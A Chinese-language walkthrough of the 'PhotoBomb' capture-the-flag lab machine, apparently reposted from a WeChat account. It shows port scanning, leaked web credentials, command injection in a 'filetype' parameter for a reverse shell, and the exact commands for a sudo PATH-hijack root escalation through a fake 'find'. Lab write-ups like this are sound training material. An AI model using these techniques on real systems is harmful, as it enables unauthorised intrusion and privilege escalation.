靶机-PhotoBomb

admin 2023年2月14日10:48:22评论23 views字数 4512阅读15分2秒阅读模式

信息收集

端口扫描

扫太慢了,就少扫点东西

sudo nmap -sV -p- —min-rate 1000 10.10.11.182
PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)80/tcp open  http    nginx 1.18.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

漏洞初探

sudo nmap —script=vuln -p80, 10.10.11.182 

目录扫描

这里web端口上不去,自动跳转到了photobomb.htb 那么修改/etc/hosts

127.0.0.1       localhost127.0.1.1       kali::1             localhost ip6-localhost ip6-loopbackff02::16ff02::2                ip6-allrouters10.10.11.182    photobomb.htb

扫太慢了.先看看端口.

漏洞探测

fuzz命令注入

靶机-PhotoBomb

靶机-PhotoBomb

靶机-PhotoBomb

这里看到了要用pH0t0登陆.上面Init泄露了账户密码.尝试ssh登陆失败 pH0t0:b0Mb!

登陆成功之后,存在一个文件下载.抓个包看看能不能任意文件下载.

靶机-PhotoBomb

抓包修改photo名会出现invaildphoto. 通过测试发现,这里的filetype存在命令注入口.(看wp)

靶机-PhotoBomb

这里注意在filetype中要用+号代替空格. 通过这个命令注入可以拿到一个初级的shell。 这个网站可以生成很多类型的shell。生成一个python的shell. https://www.revshells.com/

提权

提权准备

$lslog  ls  ls-0  photobomb.sh  public  resized_images  server.rb  source_images
$ whoamiwizard$ cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:106::/nonexistent:/usr/sbin/nologinsyslog:x:104:110::/home/syslog:/usr/sbin/nologin_apt:x:105:65534::/nonexistent:/usr/sbin/nologintss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/falseuuidd:x:107:112::/run/uuidd:/usr/sbin/nologintcpdump:x:108:113::/nonexistent:/usr/sbin/nologinlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologinpollinate:x:110:1::/var/cache/pollinate:/bin/falseusbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologinsshd:x:112:65534::/run/sshd:/usr/sbin/nologinsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinwizard:x:1000:1000:wizard:/home/wizard:/bin/bashlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
$ ls ../ -altotal 44drwxr-xr-x 7 wizard wizard 4096 Sep 16 15:14 .drwxr-xr-x 3 root   root   4096 Sep 16 15:14 ..lrwxrwxrwx 1 wizard wizard    9 Mar 26  2022 .bash_history -> /dev/null-rw-r--r-- 1 wizard wizard  220 Feb 25  2020 .bash_logout-rw-r--r-- 1 wizard wizard 3771 Feb 25  2020 .bashrcdrwx------ 2 wizard wizard 4096 Sep 16 15:14 .cachedrwxrwxr-x 4 wizard wizard 4096 Sep 16 15:14 .gemdrwx------ 3 wizard wizard 4096 Feb  7 06:41 .gnupgdrwxrwxr-x 3 wizard wizard 4096 Sep 16 15:14 .localdrwxrwxr-x 6 wizard wizard 4096 Feb  7 13:08 photobomb-rw-r--r-- 1 wizard wizard  807 Feb 25  2020 .profile-rw-r----- 1 root   wizard   33 Feb  7 06:16 user.txt
$ cat ../user.txt3921ec1383034b149941db11f1a5c4fd

这个应该就是ssh的密码.发现不对.这个居然是flag.

sudo -lMatching Defaults entries for wizard on photobomb:    env_reset, mail_badpass,    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User wizard may run the following commands on photobomb: (root) SETENV: NOPASSWD: /opt/cleanup.sh

允许我们使用/opt/cleanup.sh

$cat /opt/cleanup.sh#!/bin/bash. /opt/.bashrccd /home/wizard/photobomb
# clean up log filesif [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]then /bin/cat log/photobomb.log > log/photobomb.log.old /usr/bin/truncate -s0 log/photobomb.logfi
# protect the priceless originalsfind source_images -type f -name '*.jpg' -exec chown root:root {} ;

最后一行的意思.查找source_images下的所有为.jpg的文件,并为他们赋权为root。 对find命令做一个解读

find   path   -option   [   -print ]   [ -exec   -ok   command ]   {} ;
path:路径-type: -type c 表示文件类型是c的文件 -type f 表示文件类型是f的文件-name:文件名.-exec {} :执行命令

然后我们理解一下这里.这里find命令使用的是相对路径.前面的cat,truncate都是使用的绝对路径. 假如我们在当前目录下创建一个新的find文件,并在里面假如/bin/bash。 因为现在我们可以用root权限执行这里的cleanup.sh cleanup.sh又调用了find. find调用了/bin/bash. 那么就相当于我们可以用find开启一个/bin/bash。且这个用户是root权限.

环境变量提权

echo "/bin/bash" > findchmod +x findsudo PATH=$PWD:$PATH /opt/cleanup.sh

这样子就会在当前目录下执行find命令,这个find命令又是root执行的/bin/bash。从而达到提权效果

cat /root/root.txt0392ed6951c6797a1f843efd8097aca5

总结

首先通过端口扫描得知开放了80和22两个端口.然后在80端口中通过源码中的一些泄露得到了一个可以登陆的账户. 然后通过对参数的测试找到了命令注入,通过命令注入拿到了一个初级的shell. 最后在sudo -l下发现了当前用户可以用root执行cleanup.sh 而在cleanup.sh中又存在一个环境变量提权的漏洞.进而通过该漏洞获得了root权限


原文始发于微信公众号(靶机狂魔):靶机-PhotoBomb

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月14日10:48:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机-PhotoBombhttp://cn-sec.com/archives/1552968.html

发表评论

匿名网友 填写信息